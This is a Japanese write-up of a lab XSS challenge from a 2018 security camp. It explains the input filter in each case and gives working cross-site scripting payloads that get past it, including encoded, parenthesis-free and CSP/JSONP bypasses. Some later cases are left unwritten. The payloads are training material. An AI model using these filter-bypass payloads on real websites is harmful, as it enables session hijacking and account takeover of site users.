XSS Challenge Writeup
- これis何
- Writeup
- CSP disabled (easy ... mid)
- Case 01: Simple XSS1
- Case 02: Simple XSS2
- Case 03: With htmlspecialchars()
- Case 04-1: Without any backquotes and HTML tags
- Case 04-2: Without any backquotes, HTML tags and [ux]
- Case 05: Without any alphabets
- Case 06-1: Without any paretheses
- Case 06-2: Without any parentheses and [oO][nN]
- Case 06-3: Without any paretheses and .[oO].[nN].*
- Case 06-4: Without any paretheses, .[oO].[nN].* and tag attributes
- Case 07-1: Without any quotes
- Case 07-2: Without any quotes and &#
- Case 08-1: Without any backquotes, parentheses and HTML tags
- Case 08-2: Without any backquotes, parentheses, HTML tags and &#
- Case 09-1: Without any spaces and "script"
- Case 09-2: Without any spaces and "[sS][cC][rR][iI][pP][tT]"
- CSP enabled (mid ... hard)
- CSP disabled (easy ... mid)
これis何
これは、セキュリティ・ミニキャンプ in 岡山2018のつばめさんの講義で使用された演習コンテンツXSS Challenge (by y0n3uchy)のWriteupという名のメモです。ぼちぼち解いてからローカルに眠っていたものを掘り出してきました。今更って言わないで…なお、まだ書いてない問題もあります:-(
Writeup
CSP disabled (easy ... mid)
CSPが適用されていない問題。
Case 01: Simple XSS1
Reflected XSS。特に工夫はいらない。
<script>alert('XSS')</script>
<script>alert(document.domain)</script>
Case 02: Simple XSS2
- URLの#以下をinnerHTMLで代入している。
- imgタグで存在しないソースを指定し、故意にonerror属性を走らせ、スクリプトを実行する。
https://xss.shift-js.info/case02.php#<img src=/ onerror=alert('XSS')>
https://xss.shift-js.info/case02.php#<img src=/ onerror=alert(document.domain)>
Case 03: With htmlspecialchars()
- PHPのhtmlspecialchars()でエスケープされた文字列が、aタグのhref属性に指定されている。
- javascriptスキームでコードを書いたあと、リンクをクリック。
javascript:alert('XSS')
javascript:alert(document.domain)
Case 04-1: Without any backquotes and HTML tags
- バッククォートとタグが使えない。
- unicode
\uXXXX
形式表記が使用できる。 <
=\u003C
,>
=\u003E
なので、それぞれ置き換える。
\u003Cimg src=/ onerror=alert('XSS')\u003E
\u003Cimg src=/ onerror=alert(documen.domain)\u003E
Case 04-2: Without any backquotes, HTML tags and [ux]
- 04-1に加えて、uxが使えない。
- バッククォートで展開されているため、テンプレートリテラルを使用できるので${String.fromCharCode()}で除去対象を置き換える。
- スクリプトを書いて変換すれば楽
${String.fromCharCode(60)}img src=/ onerror=alert('XSS')${String.fromCharCode(62)}
${String.fromCharCode(60)}img src=/ onerror=alert(doc${String.fromCharCode(117)}ment.domain)${String.fromCharCode(62)}
- 地味にuが入ってる
Case 05: Without any alphabets
- 大小英数字が使えない。
- JavaScriptは記号でコードをかけるので
alert('XSS')
とalert(document.domain)
を記号化。 - インターネットにツールがたくさん落ちている。
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"('\\"+$.__$+$._$$+$.___+"\\"+$.__$+$._$_+$._$$+"\\"+$.__$+$._$_+$._$$+"')"+"\"")())();
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.$$_$+$._$+$.$$__+$._+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+"."+$.$$_$+$._$+"\\"+$.__$+$.$_$+$.$_$+$.$_$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$$_+")"+"\"")())();
Case 06-1: Without any paretheses
- カッコが使えない。
- HTML数値文字参照を使えるのでカッコを使用した文字列を置き換える。
<img src=/ onerror=alert('XSS')>
<img src=/ onerror=alert(document.domain)>
Case 06-2: Without any parentheses and [oO][nN]
<script src=data:text/javascript;base64,YWxlcnQoJ1hTUycp></script>
<script src=data:text/javascript;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==></script>
Case 06-3: Without any paretheses and .[oO].[nN].*
- カッコに加えて
.*[oO].*[nN].*
が使えない。 - 06-1の解答の
alert('XSS')
のほうはそのままでOKだが、alert(document.domain)
のほうが引っかかる。 - スペースやらなにやらを雑に追加すると、base64エンコード文字列が制約に引っかからない。今回は
alert( document.domain)
でOKだった。
<script src=data:text/javascript;base64,YWxlcnQoJ1hTUycp></script>
<script src=data:text/javascript;base64,YWxlcnQoIGRvY3VtZW50LmRvbWFpbik=></script>
Case 06-4: Without any paretheses, .[oO].[nN].* and tag attributes
- 06-3に加えて、
<[a-zA-Z]+.+?>
が使えない。 - 除去されたあとに攻撃コードが残ればよいので、ダミーになるタグを用意すればよい。
<<I'm KenChaM>script src=data:text/javascript;base64,YWxlcnQoJ1hTUycp></script>
<<I'm KenChaM>script src=data:text/javascript;base64,YWxlcnQoIGRvY3VtZW50LmRvbWFpbik=></script>
Case 07-1: Without any quotes
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=/ onerror=alert('XSS')>
<script src=data:text/javascript;base64,YWxlcnQoJ1hTUycp></script>
<script>alert(document.domain)</script>
Case 07-2: Without any quotes and &#
- 07-1に加えて
&#
が使えない。 - 07-1の解答群のなかのいくつかが使える。
<script>alert(String.fromCharCode(88,83,83))</script>
<script src=data:text/javascript;base64,YWxlcnQoJ1hTUycp></script>
<script>alert(document.domain)</script>
Case 08-1: Without any backquotes, parentheses and HTML tags
[`()<>]
が使えない。- htmlspecialchars()を通した入力値がspanタグに出力されているので、
"
でid属性から抜けた後、onclickイベントハンドラにコードを記述。 - カッコも使えないので数値文字参照も使う。
"onclick="alert('XSS')
"onclick="alert(document.domain)
Case 08-2: Without any backquotes, parentheses, HTML tags and &#
上記に加え、&#が使えない。以下の方法が使える。
XSS technique without parentheses
"onclick="window.onerror=eval;throw'=\u0061\u006C\u0065\u0072\u0074\u0028\u0027\u0058\u0053\u0053\u0027\u0029'";
"onclick="window.onerror=eval;throw'=\u0061\u006C\u0065\u0072\u0074\u0028\u0064\u006F\u0063\u0075\u006D\u0065\u006E\u0074\u002E\u0064\u006F\u006D\u0061\u0069\u006E\u0029'";
Case 09-1: Without any spaces and "script"
script
という文字が使えない。- 大文字なら大丈夫
<SCRIPT>alert('XSS')</SCRIPT>
<SCRIPT>alert(document.domain)</SCRIPT>
Case 09-2: Without any spaces and "[sS][cC][rR][iI][pP][tT]"
- 大文字も使えない。
- 06-4に似た方法で除去後の文字列に攻撃コードが残ればよい。
<scrSCRIPTipt>alert('XSS')</scrSCRIPTipt>
<scrSCRIPTipt>alert(document.domain)</scrSCRIPTipt>
CSP enabled (mid ... hard)
ここからはCSPが適用されている問題。
Case 20: Bad use of JSONP
<script src="jsonp.php?callback=alert('XSS')"></script>
<script src="jsonp.php?callback=alert(document.domain)"></script>
Case 21: nonce + unsafe-eval
追記します…
Case 22: nonce + unsafe-eval
追記します…
Case 23: nonce + strict-dynamic
追記します…